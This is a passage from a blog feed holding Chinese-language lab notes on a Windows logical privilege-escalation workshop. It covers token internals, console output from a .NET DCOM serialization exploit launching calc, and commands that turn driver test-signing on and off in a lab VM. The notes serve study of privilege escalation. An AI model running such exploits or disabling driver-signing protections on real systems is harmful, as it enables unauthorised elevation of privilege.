token,新进程永远继承当前进程的 primary token.</li><li>如果某个函数需要 SE_TCB_NAME 权限时,例如 LogonUser(),系统会检查 primary token 中的权限。</li><li>如果某个函数需要 SE_AUDIT_NAME 权限时,例如 ObjectOpenAuditAlarm(),系统会检查 primary token 中的权限。</li><li>调用 OpenThreadToken() 时,可以选择使用 primary token 或者 impersonation token(通过参数 OpenAsSelf 指定)</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">BOOL WINAPI <span class="title function_">OpenThreadToken</span><span class="params">(</span></span><br><span class="line"><span class="params"> _In_ HANDLE ThreadHandle,</span></span><br><span class="line"><span class="params"> _In_ DWORD DesiredAccess,</span></span><br><span class="line"><span class="params"> _In_ BOOL OpenAsSelf,</span></span><br><span class="line"><span class="params"> _Out_ PHANDLE TokenHandle</span></span><br><span class="line"><span class="params">)</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="参考-1"><a href="#参考-1" class="headerlink" title="参考"></a>参考</h3><ul><li><p><a href="https://blogs.msdn.microsoft.com/winsdk/2013/03/22/how-to-launch-a-process-as-a-full-administrator-when-uac-is-enabled/">How to launch a process as a Full Administrator when UAC is enabled</a></p></li><li><p><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa379572(v=vs.85).aspx">MSDN SECURITY_IMPERSONATION_LEVEL</a></p></li><li><p><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa378832(v=vs.85).aspx">Impersonation Levels</a></p></li><li><p><a href="https://technet.microsoft.com/en-us/library/cc976700.aspx">MSDN Privileges 列表</a></p></li><li><p><a href="http://stackoverflow.com/questions/39403050/how-to-call-logonuser-to-get-a-non-restricted-full-token-inside-a-windows-serv">How to call LogonUser() to get a non-restricted full token inside a Windows Service with UAC enabled?</a></p></li></ul><h2 id="13-DEMO-13-NET-DCOM-Elevation"><a href="#13-DEMO-13-NET-DCOM-Elevation" class="headerlink" title="13 DEMO 13 : .NET DCOM Elevation"></a>13 DEMO 13 : .NET DCOM Elevation</h2><h3 id="源码-3"><a href="#源码-3" class="headerlink" title="源码"></a>源码</h3><h3 id="实验"><a href="#实验" class="headerlink" title="实验"></a>实验</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">C:\workshop\ExploitTools>ExploitDotNetDCOMSerialization.exe 801445a7-c5a9-468d-9423-81f9d13fee9b calc</span><br><span class="line">AddRef: 1</span><br><span class="line">Unknown IID {ECC8691B-C1DB-4DC0-855E-65F6C551AF49}</span><br><span class="line">Unknown IID {00000003-0000-0000-C000-000000000046}</span><br><span class="line">Unknown IID {0000001B-0000-0000-C000-000000000046}</span><br><span class="line">Queried for IUnknown</span><br><span class="line">AddRef: 2</span><br><span class="line">AddRef: 3</span><br><span class="line">Unknown IID {00000018-0000-0000-C000-000000000046}</span><br><span class="line">Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}</span><br><span class="line">Unknown IID {00000040-0000-0000-C000-000000000046}</span><br><span class="line">Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}</span><br><span class="line">Unknown IID {94EA2B94-E9CC-49E0-C0FF-EE64CA8F5B90}</span><br><span class="line">Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}</span><br><span class="line">Unknown IID {77DD1250-139C-2BC3-BD95-900ACED61BE5}</span><br><span class="line">Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}</span><br><span class="line">Unknown IID {BFD60505-5A1F-4E41-88BA-A6FB07202DA9}</span><br><span class="line">Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}</span><br><span class="line">Unknown IID {03FB5C57-D534-45F5-A1F4-D39556983875}</span><br><span class="line">Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}</span><br><span class="line">Unknown IID {2C258AE7-50DC-49FF-9D1D-2ECB9A52CDD7}</span><br><span class="line">Unknown IID {00000019-0000-0000-C000-000000000046}</span><br><span class="line">Unknown IID {4C1E39E1-E3E3-4296-AA86-EC938D896E92}</span><br><span class="line">Release: 2</span><br><span class="line">Unknown IID {00000003-0000-0000-C000-000000000046}</span><br><span class="line">Release: 1</span><br><span class="line">In GetHashCode</span><br><span class="line">In GetObjectData</span><br><span class="line">In GetObjectData</span><br><span class="line">Unknown IID {C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4}</span><br><span class="line">Unknown IID {B196B283-BAB4-101A-B69C-00AA00341D07}</span><br><span class="line">Unknown IID {AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90}</span><br><span class="line">Unknown IID {6E70ED5F-0439-38CE-83BB-860F1421F29F}</span><br><span class="line">Queried for IHashCodeProvider</span><br><span class="line">AddRef: 2</span><br><span class="line">AddRef: 3</span><br><span class="line">Unknown IID {1C733A30-2A1C-11CE-ADE5-00AA0044773D}</span><br><span class="line">Queried for IHashCodeProvider</span><br><span class="line">AddRef: 4</span><br><span class="line">GetHashCode Called</span><br><span class="line"></span><br><span class="line">C:\workshop\ExploitTools></span><br></pre></td></tr></table></figure><h3 id="暂时放弃"><a href="#暂时放弃" class="headerlink" title="暂时放弃"></a>暂时放弃</h3><p>这个涉及到很多 COM 的知识,之前完全不懂,等日后有了这方面的基本了解之后再来补上</p><h2 id="14-环境恢复"><a href="#14-环境恢复" class="headerlink" title="14 环境恢复"></a>14 环境恢复</h2><p>如果在环境搭建过程中生成了虚拟机快照,提取出有用文件之后,恢复快照最方便。否则就按照下面的步骤恢复。管理员权限运行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">C:\WINDOWS\system32>Bcdedit.exe -set TESTSIGNING OFF</span><br><span class="line">C:\WINDOWS\system32>sc delete workshop</span><br><span class="line">C:\WINDOWS\system32>powershell -Command "Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Undefined"</span><br></pre></td></tr></table></figure><p>如果修改了 Secure Boot,记得还原。关机重启,快速按 F2 进入 BIOS,选择 Boot 标签,将 Secure Boot 设置为 Enabled。</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><p><a href="https://www.howtoip.com/how-to-disable-driver-signature-verification-on-64-bit-windows-81-so-that-you-can-install-unsigned-drivers/">如何在64位Windows 8或10上禁用驱动程序签名验证(以便您可以安装未签名的驱动程序)</a></p></li><li><p><a href="https://msdn.microsoft.com/en-us/windows/hardware/drivers/install/the-testsigning-boot-configuration-option">The TESTSIGNING Boot Configuration Option</a></p></li><li><p><a href="https://technet.microsoft.com/en-us/library/cc990289(v=ws.11).aspx">MSDN sc create Command</a></p></li><li><p><a href="https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.security/set-executionpolicy">MSDN PowerShell Set-ExecutionPolicy</a></p></li><li><p><a href="https://www.irongeek.com/i.php?page=security/altds">Practical Guide to Alternative Data Streams in NTFS</a></p></li></ul>]]></content>
<summary type="html"><p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>)</p>
<p>这份文档是对 James Forshaw 2017 年公开的 《Windows Logical EoP Workshop》 逻辑漏洞本地提权 Workshop 的分析调试笔记。</p>
<ul>
<li><p>Workshop PPT: <a href="https://conference.hitb.org/hitbsecconf2017ams/materials/D2T3%20-%20James%20Forshaw%20-%20Introduction%20to%20Logical%20Privilege%20Escalation%20on%20Windows.pdf">https://conference.hitb.org/hitbsecconf2017ams/materials/D2T3%20-%20James%20Forshaw%20-%20Introduction%20to%20Logical%20Privilege%20Escalation%20on%20Windows.pdf</a></p>
</li>
<li><p>Workshop 源码: <a href="https://github.com/tyranid/windows-logical-eop-workshop">https://github.com/tyranid/windows-logical-eop-workshop</a></p>
</li>
</ul>
<h2 id="1-环境搭建"><a href="#1-环境搭建" class="headerlink" title="1 环境搭建"></a>1 环境搭建</h2><h3 id="1-1-虚拟机快照一次"><a href="#1-1-虚拟机快照一次" class="headerlink" title="1.1 虚拟机快照一次"></a>1.1 虚拟机快照一次</h3><p>如果方便,建议生成一次系统快照,方便实验结束之后恢复系统环境</p>
<h3 id="1-2-关闭驱动签名验证,以便测试自己编写的驱动"><a href="#1-2-关闭驱动签名验证,以便测试自己编写的驱动" class="headerlink" title="1.2 关闭驱动签名验证,以便测试自己编写的驱动"></a>1.2 关闭驱动签名验证,以便测试自己编写的驱动</h3><p>只有关闭了这个签名验证的保护,Windows 系统才允许加载用户自己编写的驱动。另外,这个特性是针对 64 位 Windows 8&#x2F;10 的,如果用的是 32 位系统,可以忽略。</p>
<p>管理员权限运行:</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\system32&gt;Bcdedit.exe -set TESTSIGNING ON</span><br><span class="line">操作成功完成。</span><br><span class="line"></span><br><span class="line">C:\Windows\system32&gt;</span><br></pre></td></tr></table></figure></summary>
</entry>
<entry>
<title>Hello Hexo</title>
<link href="https://rekken.github.io/2017/01/01/hello-hexo/"/>
<id>https://rekken.github.io/2017/01/01/hello-hexo/</id>
<published>2017-01-01T05:29:29.000Z</published>
<updated>2020-12-25T06:27:35.000Z</updated>
<content type="html"><![CDATA[<p>KNOCK KNOCK KNOCK</p>]]></content>
<summary type="html"><p>KNOCK KNOCK KNOCK</p>
</summary>
</entry>
</feed>